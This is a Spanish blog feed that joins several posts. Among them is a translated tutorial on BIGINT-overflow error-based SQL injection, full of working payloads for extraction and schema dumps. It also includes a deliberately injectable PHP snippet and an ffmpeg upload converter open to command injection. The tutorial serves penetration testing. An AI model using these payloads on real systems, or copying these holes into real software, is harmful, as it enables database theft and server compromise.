Quantcast
Channel: Arthusu BLOG
Viewing all 135 articles
Browse latest View live

Desbordamiento BGINT - Inyeccion SQL basada en error

$
0
0
Hola el otra vez estaba chateando con un amigo Osanda Malith Jayathissa y le pregunte si podria traducir algunos de sus post y gracias a que me dejo hoy les traducire un post muy bueno que he visto en su blog.

Autor: Osanda Malith
BLOG: https://osandamalith.wordpress.com


Empecemos... 

Les recomiendo tambien: http://arthusu.blogspot.mx/2013/04/double-query-error-based-sql-injection.html

Resumen

Yo estaba interesado en conocer nuevas tecnicas que podamos utilizar para la extraccion de datos a traves de errores de MySQL. Esto es un detallado relato que le hara entender como hice estas consultas. Cuando miramos como MySQL trata enteros me interesaban los desbordamientos que causan. Asi es como MySQL almacena numeros enteros.


(Fuente: http://dev.mysql.com/doc/refman/5.5/en/integer-types.html

Estos errores de desbordamiento son causados en las versiones 5.5.5 y superiores. En las versiones inferiores un desbordamiento de enteros se traduciria en un envolvente silencio. El tipo de datos BGINT es de 8 bytes de tamaño lo que significa que es de 64 bits. Si tomamos el valor maximo firmado de un BGINT es "0b0111111111111111111111111111111111111111111111111111111111111111",
"0x7fffffffffffffff", "9223372036854775807" en binario, hexadecimal y decimal respectivamente. Una vez que evaluamos expresiones numericas como adicion causara un "valor BGINT esta fuera de rango (BIGINT value is out of range)" como error.

mysql> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'
Para solucionar el error anterior podriamos simplemente encasillarlo en un unsined int (entero sin asignar). Si nos fijamos en el valor maximo de BGINT sin asignar es "0b1111111111111111111111111111111111111111111111111111111111111111",
"0xFFFFFFFFFFFFFFFF","18446744073709551615" en binario, hexadecimal y decimal respectivamente. Asi mismo se aplica, si evaluamos expresiones numericas de este valor como la adicion o sustraccion causara un "BIGINT value is out of range" como error.


# En decimal

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551
615 + 1)'


# En binario

mysql> select cast(b'11111111111111111111111111111111111111111111111111111111111
11111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffff
ffffff as unsigned) + 1)'


# En hexadecimal

mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffff
ffffff as unsigned) + 1)'

¿Y si hacemos una negacion bit a bit a "0"? El resultado sera el valor maximo BGINT sin asignar. Este es un hecho evidente. 




mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

Asi que si, si sumamos o restamos del ~0 que dara lugar a un desbordamiento BGINT.


mysql> select 1-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 - ~(0))'
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

Inyeccion

Yo queria aplicar subconsultas y causar un desbordamiento BGINT para de esa manera extraer los datos. Si nos fijamos en la negacion logica deberia devolver 1 para cualquier consulta. Por ejemplo, si se aplica una negacion logica de una consulta como (select * from (select user())x);

mysql> select (select*from(select user())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| root@localhost                |
+-------------------------------+
1 row in set (0.01 sec)

 # Aplicando negacion logica

mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
|                              1 |
+--------------------------------+
1 row in set (0.01 sec)

Si, perfecto! asi que simplemente nosotros podemos combinar ambos tanto nivel de bits (bitwise) y negaciones logicas y construir la consulta basada en error.

mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + (not((sele
ct 'root@localhost' from dual))))'
Vamos a dejar de usar el signo de adicion '+' se convertira en un espacio a analizar a traves del navegador web. En su lugar podemos utilizar la resta. Estas son algunas variaciones de la misma  inyeccion. Las consultas finales serian.

!(select*from(select user())x)-~0

(select(!x-~0)from(select(select user())x)a)

(select!x-~0.from(select(select user())x)a)
Por ejemplo aplicaquemos esta inyeccion en una consulta como esta:

mysql> select username, password from users where id='1' or !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT value is out of range in '((not((select 'root@localhost' from dual))) - ~(0
))'
http://localhost/dvwa/vulnerabilities/sqli/?id=1' or !(select*from(select user())x)-~0-- -&Submit=Submit#

Utilizando desbordamiento BGINT basado en error podemos usar casi cualquier funcion matematica valida en MySQL como estas, ya que ellas se niegan. Solo tiene que pasar los argumentos de acuerdo a la funcion.

select !atan((select*from(select user())a))-~0;
select !log((select*from(select user())a))-~0;
select !floor((select*from(select user())a))-~0;
He probado con lo siguiente. usted puede encontrar mas:

HEX
IN
FLOOR
LOG
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN

Extraccion de datos

La extraccion de datos es normal igual que otras inyecciones. Mostrare un poco. Conseguir los nombres de las tablas:

!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0

Obtener los nombres de columna:

select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;

Obteniendo datos:

!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;


Dump in one shot

Antes de continuar aqui les recomiendo leer: http://arthusu.blogspot.mx/2015/01/dios-dump-in-one-shot-explicado.html

¿Podemos volcar (dumpear) todas las bases de datos, las tablas y las columnas en un solo disparo? La respuesta es si. Pero cuando tratamos de volcar tablas y columnas de todas las bases de datos podemos obtener solo unos pocos resultados de vuelta ya que estamos tratando de recuperar los datos a traves de un error. Pero podemos recuperar hasta 27 resultados cuando tratamos de volcar la base de datos actual. Estas son algunas variaciones de las de anteriores (arriba):


!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0

(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)




Las limitaciones serian el numero de resultados que podemos recuperar. Supongamos que puedo crear una tabla con 31 columnas dentro de esta base de datos. Solo 27 serian vistos y mis otras 4 tablas y columnas de usuarios no se devolverian.




Inyeccion en INSERT

En declaraciones de INSERT podemos inyectar asi. La sintaxis seria " OR (PAYLOAD) OR "", las comillas dependen de la consulta. Usted puede leer mi investigacion anterior sobre este tema desde mi blog o whitepaper.  

mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Tambien podemos realizar la consulta DIOS.

insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual))) - ~(0))'

Inyeccion en UPDATE

En la inyeccion de UPDATE es igual que en la de INSERT. Podemos inyectar asi.

mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Inyeccion en DELETE

Igual que las anteriores podemos usar la inyeccion en DELETE.

mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

Conclusion

Como conclusion hay que tener en cuenta lo siguiente. Para llevar a cabo esta inyeccion debe haber un mysql_error() haciendo echo devuelta a nosotros por eso la inyeccion es a base de errores. La version de MySQL debe ser 5.5.5 o superior. Puede haber muchas variaciones de estas inyecciones de desbordamiento. Por ejemplo, incluso XORing 0 con un valor como 222 y restando podemos causar un desbordamiento de BGINT.

mysql> select !1-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))'
mysql> select !(select*from(select user())a)-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - (0 ^ 222))'

Si el backend no tiene comillas simples, doble comillas o parentesis. Por ejemplo, si modifico el codigo de DVWA asi, eliminando las comillas. Simplemente podemos inyectar sin hacer la consulta falsa por OR 1.




<?php   
 
if(isset($_GET['Submit'])){
    // Retrieve data
    $id= $_GET['id'];
    $getid= "SELECT first_name, last_name FROM users WHERE user_id = $id";
    $result= mysql_query($getid) ordie('<pre>'. mysql_error() . '</pre>');
    $num= mysql_numrows($result);
    $i= 0;
    while($i< $num) {
        $first= mysql_result($result,$i,"first_name");
        $last= mysql_result($result,$i,"last_name"); 
        $html.= '<pre>';
        $html.= 'ID: '. $id. '<br>First name: '. $first. '<br>Surname: '. $last;
        $html.= '</pre>';
        $i++;
    }
}
?>

http://localhost/dvwa/vulnerabilities/sqli/?id=!(select*from(select user())a)-0^222
&Submit=Submit#


 

Espero que esta investigacion sea util durante las pruebas de penetracion. 

Referencias

[1] http://dev.mysql.com/doc/refman/5.5/en/integer-types.html
[2] https://dev.mysql.com/doc/refman/5.0/en/numeric-type-overview.html
[3] https://dev.mysql.com/doc/refman/5.0/en/mathematical-functions.html


Autor: Osanda Malith
BLOG: https://osandamalith.wordpress.com
 



Paginar resultados de mysql con zebra paginator

$
0
0
Buenas, hoy recorde despues de mucho tiempo esta libreria simple, ya que un amigo por skype se le dificultaba un poco la paginacion y con esta libreria simple y precisa podemos realizar este proceso rapidamente. 

Anteriormente habia hecho una entrada en este mismo blog sobre como realizar la paginacion de manera estructurada. 

Hoy vengo a presentarles la libreria Zebra Paginator la cual nos generará los links de paginacion casi de manera automatica, solo necesitaremos el archivo siguiente: https://raw.githubusercontent.com/stefangabos/Zebra_Pagination/master/Zebra_Pagination.php


Aqui algunas de las propiedades, metodos que tendremos que configurar, ademas sobre algunas funciones de MySQL no muy conocidas.

get_page() - Este metodo retorna el numero de paginas actuales

records() - Establece el numero total de registros que deben ser paginados.

records_per_page() - Establece el numero de registros que se muestran en una sola pagina.

render() - Genera la salida. 

SQL_CALC_FOUND_ROWS - Calcula el numero de resultados de una consulta sin LIMIT.

FOUND_ROWS() - obtiene el resultado del ultimo SQL_CALC_FOUND_ROWS ejecutado.

Hay cuatro propiedades que se cambian muy usualmente en la libreria las cuales son:

* next - esta muestra el texto a salida. Ejemplo: Siguiente
* previous - esta muestra el texto a salida. Ejemplo: Anterior
* variable_name - Es la variable que sera usada. Ejemplo: pagina
* method - Es el metodo por el cual se enviara GET o POST

Un ejemplo basico de paginacion seria el siguiente, el cual es algo generico ya que usamos la base de datos information_schema para que no tengas que crear una base de datos en este ejemplo:



<title>Paginacion</title>
<style type="text/css">
.Zebra_Pagination li {
list-style-type: none;
display: inline;
padding-right: 5px;
}

</style>
<?php
$con = mysqli_connect('localhost','root','','information_schema') or die(mysqli_error());
// cuanto registros seran mostrados por pagina
$records_per_page = 10;

// incluimos la clase
require 'Zebra_Pagination.php';

// instanciamos el objeto zebra paginator
$pagination = new Zebra_Pagination();

// la declaracion mysql para devolver registros
// nota como creamos el limit
// tambien, nota el "SQL_CALC_FOUND_ROWS"
// esto es para obtener el número de filas que han sido devueltos si no había LIMIT
// mira mas http://dev.mysql.com/doc/refman/5.0/en/information-functions.html#function_found-rows
$MySQL = '
SELECT
SQL_CALC_FOUND_ROWS
*
FROM
tables
LIMIT
' . (($pagination->get_page() - 1) * $records_per_page) . ', ' . $records_per_page . '
';

// si la consulta no se pudo ejecutar
if (!($result = @mysqli_query($con,$MySQL))) {

// dejamos un mensaje de error
die(mysqli_error($con));

}

// arrojamos el numero de registros totales de la tabla
$rows = mysqli_fetch_assoc(mysqli_query($con,'SELECT FOUND_ROWS() AS rows'));

// pasamos el numero total de registros a la clase pagination
$pagination->records($rows['rows']);

// registros por pagina
$pagination->records_per_page($records_per_page);

?>

<table class="countries" border="1">

<tr><th>Prueba</th></tr>


<?php while ($row = mysqli_fetch_assoc($result)):?>

<tr>
<td><?php echo $row['TABLE_NAME']; ?></td>
</tr>

<?php endwhile?>

</table>

<?php

// Da salida a los enlaces de paginacion
$pagination->render();

?>







 

Hay cosas que no tomo muy en cuenta a explicar como son la instancia del objeto Zebra Paginator, incluir la libreria, mostrar estilos de salida, o reaizar las peticiones en la db, lo que les recomendaria es checar la libreria desde Github obteniendo muchos ejemplos, es una libreria muy limpia, y contiene muchos ejemplos, esto es todo saludos!

Comprimir directorios completos de tu sitio web

$
0
0
Buenas hoy estaba escuchando musica y luego un amigo (NoVaTo) me hablo por Skype diciendome que si tenia algun script o shell que comprimiera toda la pagina web para bajarsela, entonces como no tenia me puse a buscar como hacerlo uno a mi manera... hasta que al final di con bola... pues nada mas les dejo el script par aque lo usen cuando quieran:


<?php
// Si son demasiados archivos colocamos el tiempo limite en 0 (sin limite)
set_time_limit(0);
/*
@autor : Arthusu
@fecha : 15/03/2015
@descripcion : Compresor de todos los archivos del directorio
@archivo : compresor.php
*/

// definimos las variables (las podemos modificar segun sea nuestro caso)
$nombre_del_archivo_comprimido = "comprimido.zip"; // el nombre del archivo a generar
$ruta_relativa = ""; // el directorio que nos encontremos. Ejemplo: images/algo/ para generar un link correcto

if(phpversion() >= "5.2.0"){ // verificamos que contengan la version correcta para crear archivos zip
$zip = new ZipArchive(); // Creamos un nuevo objeto
if($zip->open($nombre_del_archivo_comprimido,ZIPARCHIVE::CREATE) === TRUE){ // creamos un archivo
$iterator = new RecursiveDirectoryIterator(__DIR__); // recorremos el directorio
$recursiveIterator = new RecursiveIteratorIterator($iterator); // recorremos los directorios dentro de otros directorios y asi sucesivamente

foreach($recursiveIterator as $entry){ // recorremos los archivos
if(is_file($entry->getRealPath())){ // verificamos que sea archivo
// debug
//echo $entry->getRealPath()."\n";
$zip->addFile($entry->getRealPath()); // lo agregamos al zip
}
}
// mostramos un enlace con los archivos
echo $zip->numFiles .' archivos comprimidos: <a href="http://'.strip_tags($_SERVER["HTTP_HOST"]. "/" . $ruta_relativa . $nombre_del_archivo_comprimido).'">Descargar Archivo</a>';
}else{
// si no se crea el archivo mostramos el error
echo "Ha ocurrido un error: ".$zip->getStatusString();
}
// cerramos el archivo zip
$zip->close();
}else{
// si la version no es correcta mostramos un mensaje
echo "Su version de PHP debe ser 5.2.0 o superior";
}
?>

El uso es bastante facil.

1.- Subir el archivo a la carpeta que quieras comprimir 
2.- Ejecutar el archivo en la url: ejemplo.com/compresor.php
3.- Te generara un link donde descargar el archivo

Hay dos variables que puedes modificar dentro del archivo:

$ruta_relativa - Esta variable la modificas en caso de que te encuentres en una ruta relativa en alguna carpeta de la web, ejemplo: jquery/imagenes/, con eso nos generaria un link como el siguiente:  ejemplo.com/jquery/imagenes/comprimido.zip

$nombre_del_archivo_comprimido - Aqui puedes especificar el nombre del archivo resultante

Nota: Otra cosa a tomar en cuenta es que el script tarda dependiendo de que tantos archivos tenga que guardar o recorrer, puede tardar varios minutos dependiendo de que tantos archivos contenga tu sitio.

Y bueno eso es todo espero que la herramienta les sea de utilidad.

[Parte 5]jQuery

$
0
0
jQuery - desplazandose en el DOM

jQuery es una herramienta de muy gran alcance la cual proporciona una gran variedad de metodos para desplazarse en el DOM para ayudarnos a seleccionar elementos del documento al azar asi como en metodo secuencial. La mayor parte de los metodos de desplazamiento del DOM no modifican el objeto jQuery y ellos se utilizan para filtrar los elementos a partir de un documento basado en condiciones dadas.

Buscando elementos por indice

Considere la posibilidad de un simple documento con el siguiente contenido HTML:

<html>
<head>
   <title>Titulo</title>
</head>
<body>
    <div>
      <li>Elemento de la lista 1</li>
      <li>Elemento de la lista 2</li>
      <li>Elemento de la lista 3</li>
      <li>Elemento de la lista 4</li>
      <li>Elemento de la lista 5</li>
      <li>Elemento de la lista 6</li>
    </div>
</body>
</html>



* Cada lista tiene su propio indice y se puede localizar utilizando directamente el metodo eq(indice) del siguiente ejemplo. Cada elemento hijo comienza su indice desde 0, por lo tanto la lista del elemento 2 se accede mediante el uso de $("li").eq(1) y asi sucesivamente. Ejemplo: 
A continuacion se presenta un ejemplo sencillo que añade color al tercer elemento de la lista:

<html>
<head>
<title>Titulo</title>
   <script type="text/javascript" src="js/jquery-2.1.3.min.js"></script>
   <script type="text/javascript">
         $(document).ready(function(){
            $("li").eq(2).addClass("seleccionado");
         });
   </script>
   <style type="text/css">
      .seleccionado { color: red; }
   </style>
</head>
<body>
   <div>
      <li>Elemento de la lista 1</li>
      <li>Elemento de la lista 2</li>
      <li>Elemento de la lista 3</li>
      <li>Elemento de la lista 4</li>
      <li>Elemento de la lista 5</li>
      <li>Elemento de la lista 6</li>
   </div>
</body>
</html>


Filtrado de elementos

El metodo filter(selector) se puede utilizar para filtrar todos los elementos del conjunto que coincidan con el selector especificado. El selector puede ser escrito utilizando cualquier sintaxis del selector. Ejemplo:
A continuacion se presenta un ejemplo sencillo que aplica color a las listas con la clase .media:

<html>
<head>
<title>Titulo</title>
   <script type="text/javascript" src="js/jquery-2.1.3.min.js"></script>
   <script type="text/javascript">
         $(document).ready(function(){
            $("li").filter(".media").addClass("seleccionado");
         });
   </script>
   <style type="text/css">
      .seleccionado { color: red; }
   </style>
</head>
<body>
   <div>
      <li class="arriba">Elemento de la lista 1</li>
      <li class="arriba">Elemento de la lista 2</li>
      <li class="media">Elemento de la lista 3</li>
      <li class="media">Elemento de la lista 4</li>
      <li class="abajo">Elemento de la lista 5</li>
      <li class="abajo">Elemento de la lista 6</li>
   </div>
</body>
</html>


Localizacion de elementos descendientes

El metodo find(selector) se puede utilizar para localizar todos los elementos descendientes de un tipo en particular de elementos. El selector puede ser escrito utilizando cualquier sintaxis de selector. Ejemplo:
A continuacion se presenta un ejemplo que selecciona todos los elementos <span> disponibles dentro de los diferentes elementos <p>:

<html>
<head>
<title>Titulo</title>
   <script type="text/javascript" src="js/jquery-2.1.3.min.js"></script>
   <script type="text/javascript">
         $(document).ready(function(){
            $("p").find("span").addClass("seleccionado");
         });
   </script>
   <style type="text/css">
      .seleccionado { color: red; }
   </style>
</head>
<body>
   <div>
      <p>Este es el 1er parrafo y <span>ESTO ES ROJO</span></p>
      <p>Este es el 2do parrafo y <span>ESTO TAMBIEN ES ROJO</span></p>
   </div>
</body>
</html>


jQuery metodos de desplazamiento

La siguiente tabla enumera abajo metodos utiles que se pueden utilizar para filtrar los diversos elementos de una lista de elementos DOM:


+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Selector | Descripcion |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| add(Selector) | Añade mas elementos, que coincidan con el selector dado, al conjunto de elementos que ya coinciden. Ejemplo: $(".top").add(".middle").addClass("selected"); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| andSelf() | Añade la seleccion anterior a la seleccion actual. Ejemplo: $("div").find("p").andSelf().addClass("border"); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| children([selector]) | Obtener un conjunto de elementos que contengan todos los hijos inmediatos de cada uno del conjunto de elementos que coincidan. Ejemplo: $("div").children(".selected").addClass("blue"); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| closest(selector) | Obtiene un conjunto de elementos que contengan todos los hijos inmediatos unicos de cada uno de los elementos que coincidan en el conjunto. Ejemplo: $( document ).on( "click", function( event ) {,$( event.target ).closest( "li" ).toggleClass( "hilight" );}); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| contents() | Busca todos los nodos secundarios dentro de los elementos coincidentes (incluyendo los nodos de texto), o el documento contenido, si el elemento es un iframe.Ejemplo: $( "#frameDemo" ).contents().find( "a" ).css( "background-color", "#BADA55" ); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| end() | Revertir la mas reciente 'destructiva' operacion, cambiando el conjunto de elementos coincidentes a su estado anterior. Ejemplo: $("p").find("span").css("border", "2px red solid"); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| find(selector) | Busca los elementos descendientes que coinciden con los selectores especificados. Ejemplo: $("p").find("span").addClass("selected"); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| next([selector]) | Obtener un conjunto de elementos que contienen los unicos proximos hermanos de cada uno del conjunto de los elementos dados. Ejemplo: $("p").next(".selected").addClass("hilight"); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| nextAll([selector]) | Encuentra todos los elementos hermanos despues del elemento actual. Ejemplo: $("div:first").nextAll().addClass("hilight"); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| offsetParent() | Devuelve una coleccion jQuery con el padre posicionado de primer elemento coincidente. Ejemplo: $("p").offsetParent().addClass('hilight'); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| parent([selector]) | Obtiene el padre directo de un elemento. Si se llama a un conjunto de elementos, el padre retorna un conjunto de elementos unicos directo al elemento padre. Ejemplo: $("p").parent().addClass('hilight'); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| parents([selector]) | Obtiene un conjunto de elementos que contiene los antepasados unicos del conjunto combinado de elementos (excepto por el elemento raiz). Ejemplo: var parentEls = $("p").parents(),.map(function () {,return this.tagName;,}).get().join(", ");,$("b").append("" + parentEls + ""); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| prev([selector]) | Obtiene un conjunto de elementos que contiene los hermanos anteriores unicos de cada conjunto de elementos que coinciden.Ejemplo:,$("p").prev(".selected").addClass("hilight"); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| prevAll([selector]) | Encuentra todos los elementos hermanos delante del elemento actual.,Ejemplo: $("div:last").prevAll().addClass("hilight"); |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| siblings([selector]) | Obtener un conjunto de elementos que contengan todos los hermanos unicos de cada uno de un conjunto de elementos que coinciden. |
+----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
 
Hasta aqui esta parte. Si quieren entender mas de los ejemplos de la tabla anterior les recomiendo pasarse por la documentacion oficial de jQuery.

Esta parte ha sido traducida de TutorialsPoint.
 
 
 
 

Basic jQuery Slider

$
0
0
Ultimamente he estado viendo demasiadas librerias, y he estado viendo un poco su utilizacion, esta libreria llamada Basic jQuery Slider, es una libreria muy simple de usar y personalizar, de manera que puede ser usada en nuestros proyectos sin mayor problema, ademas es totalmente compatible con HTML5 BoilerPlate y Bootstrap que he presentado anteriormente en el BLOG.



Les dejo su enlace a la descarga:

http://www.basic-slider.com/


Es muy facil de usar como dije, ademas en su descarga contiene archivos de ejemplo para su mejor compresion.

[PHP] Creando un convertidor a MP3 rapido y facil

$
0
0
Buenas tenia ya rato sin escribir algo, bueno espero ser rapido y breve, en esta entrada veremos sobre como crear un convertidor MP3 rapido y facil, en este caso estare utilizando windows, ustedes pueden bajarse el FFMPEG desde su pagina oficial para linux o macosx.

Bueno para ser mas breve posible lo que hare sera mostrar el script e ir explicando por pasos.

Esta es la estructura de nuestro proyectin:



 

<?php
// sin limite de tiempo
set_time_limit(0);
// para que muestre errores
ini_set("display_errors",1);
error_reporting(E_ALL);
// para que podamos subir archivos pesados 200MB
ini_set('upload_max_filesize', '200M');


// si se envio el formulario
if(isset($_POST["submit"])) {
// el directorio a donde ira el video o archivo que conviertas en mp3
$target_dir = "uploads/";
// aqui se guarda el mp3
$generador_archivo = "mp3/file_".md5(mt_rand()).".mp3";
// el nombre del archivo a subir con su directorio a donde ira
$target_file = $target_dir . basename($_FILES["file"]["name"]);

// movemos el archivo
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
// Aqui esta la magia! convertimos el archivo (Cuidado con la ejecucion de comandos XD)
exec("ffmpeg -i \"$target_file\" $generador_archivo",$output,$return);
// debug
//print_r($output);
// Si se ejecuto correctamente mostramos el enlace al archivo sino un error
if(!$return){
echo "<a href=\"mp3/". basename($generador_archivo). "\">Bajar Archivo</a>.";
}else{
echo "ERROR";
}
// si no se pudo mover el archivo ocurrio un error al subir
} else {
echo "Ocurrio un error al subir archivos";
// debug
//print_r($_FILES);
}
}
?>
<!DOCTYPE html>
<html>
<body>

<form action="" method="post" enctype="multipart/form-data">
Selecciona el archivo a convertir:
<p><input type="file" name="file" id="file"></p>
<p><input type="submit" value="Subir Archivo" name="submit"></p>
</form>

</body>
</html>


Antes de comenzar a explicar el script, les dire que no es nada "seguro", ya que no le agregue seguridad para que se vea lo mas simple posible, pero si ustedes gustan pueden modificarlo. Y otra cosa es que para poder subir este script a un servidor tenemos que buscar que soporte FFMPEG o simplemente tener un servidor dedicado.
Aunque viene todo comentado, explicare...


1.- Le damos un set_time_limit(0) para que se ejecute el script hasta que termine. Mostramos errores con error_reporting y con ini_set establecemos la directiva de PHP.ini para mostrar errores. Establecemos upload_max_filesize en 200M para subir archivos pesados, muchas de las veces las directivas de PHP no te permiten solo con ini_set por lo que tendras que modificarlo desde el archivo de configuracion php.ini.

2.- Comprobamos si existe el formulario con isset($_POST['submit']), asignamos unas variables para la ruta, con md5(mt_rand()) genero un md5 aleatorio para que el archivo mp3 no se repita el nombre.

3.- movemos el archivo con move_uploaded_file a la ruta que asignamos.

4.- El comando mas importante es el comando de sistema exec, el cual realiza la conversion con el programa FFMPEG. La sintaxis es la siguiente:

ffmpeg.exe -i elarchivoaconvertir.mp4 elarchivodesalida.mp3

5.- Por ultimo verificamos que no haya retornado errores y mostramos el enlace en caso contrario mostramos un mensaje de error.
Con los print_r() podemos debuggear las matrices en caso de error.

Ya que nunca pongo imagenes pondre algunas, ya que dicen que "una imagen vale mas que mil palabras", yo les pondre 3 xD...




 

 Listo. Espero que esta entrada les haya sido de utilidad.

[Solucion] Problemas al guardar videos en movie maker

$
0
0
Buenas años sin escribir de nuevo en el BLOG... Jajaja tampoco tan exagerado pero, bueno, a lo que iva :)

En esta ocasion les traigo una solucion que puede que les pase a todos los que utilizan Windows y Movie Maker para realizar videos de tareas, cuando les sale algun error al guardar... Se que es una completa estupidez la solucion pero funciona :P. Lo mas probable es que sea un BUG no corregido de Microsoft.

Cuando los cuadritos estan muy grandes y no es broma!!! gastan demasiada RAM, Demasiada! entonces lo unico que se tiene que hacer es hacer mas grande el primer cuadro que quede de esta manera:

  

Dejo por ultimo un video de lo antes explicado:




Hasta aqui este pequeño apartado :)

[Tutorial] Reparacion de Tarjeta Madre/Placa Base Laptops

$
0
0
Introduccion

Antes que nada decirles que esto no es un curso completo, sin mas que nada un tipo de recoleccion de Tutoriales y Videotutoriales que les servira a mas de uno que apenas este iniciandose en esto. Antes que nada comentarles que intente buscar informacion de este tipo y no habia nada como esto en internet por lo cual me arme de valor para publicarlo :v, tambien quisiera comentarles que es recomendable que antes de iniciar este tutorial tengan un poco de conocimiento de electronica basica.


Inspeccion Visual

Lo primero y mas facil que podemos hacer para saber si una tarjeta madre esta dañada es inspeccionarla con una lupa. Para ver si un componente esta 'quemado' o 'hinchado'. Algunos ejemplos, podrian ser los siguientes:


Si por alguna razon no encontramos nada es hora de seguir el camino de la metodologia C:


Diagrama de la tarjeta madre

Este es un apartado interesante, ya que todos los componentes que se encuentran dentro de la placa del circuito impreso, podriamos dividirla en varios apartados, con los cuales podriamos encontrar el problema dependiendo de la falla en la tarjeta madre.
Algunos apartados pueden ser: el sistema de carga, Encendido, USB, etc. Un ejemplo del indice de un diagrama puede ser el siguiente:



Los diagramas los podemos encontrar usando nuestro queridisimo amigo Google! Usando algunos de estos tips para su busqueda:


Datasheet XXX
Block Diagram XXX
Schematic XXX
Diagram XXX

Donde XXX sera el modelo de la placa base o modelo de la laptop o PC. Quiero comentarles que existen infinidades de paginas que te dan los diagramas gratis pero tambien existen demasiadas que te los venden.

Ahora seria muy tedioso de alguna manera decirles cada componente de la tarjeta madre, por lo cual les dejare algunos videotutoriales y enlaces para leer y aprender.


En el siguiente enlace encontraras como leer un diagrama y lo que significa cada simbolo de los componentes electronicos:
https://learn.sparkfun.com/tutorials/how-to-read-a-schematic

De todas maneras si no te es suficiente te dejo un video de ejemplo:





Componentes SMD

Gracias a que ahora hay mas tecnologia han podido crear dispositivos mas pequeños para que los tengamos a nuestro alcance. SMD como sus siglas lo indican son dispositivos de montaje superficial. Los cuales son componentes un poco mas pequeños (que los de una placa base de CPU) montados en nuestra placa base superficialmente.

Condensadores

Los condensadores o capacitores nos sirven para almacenar energia.

  



Resistencias

Funciona ofreciendo una oposicion al paso de corriente. El problema que puede surgir es que se encuentre abierta (no deja pasar nada de corriente) o en cortocircuito (deja pasar toda la corriente).
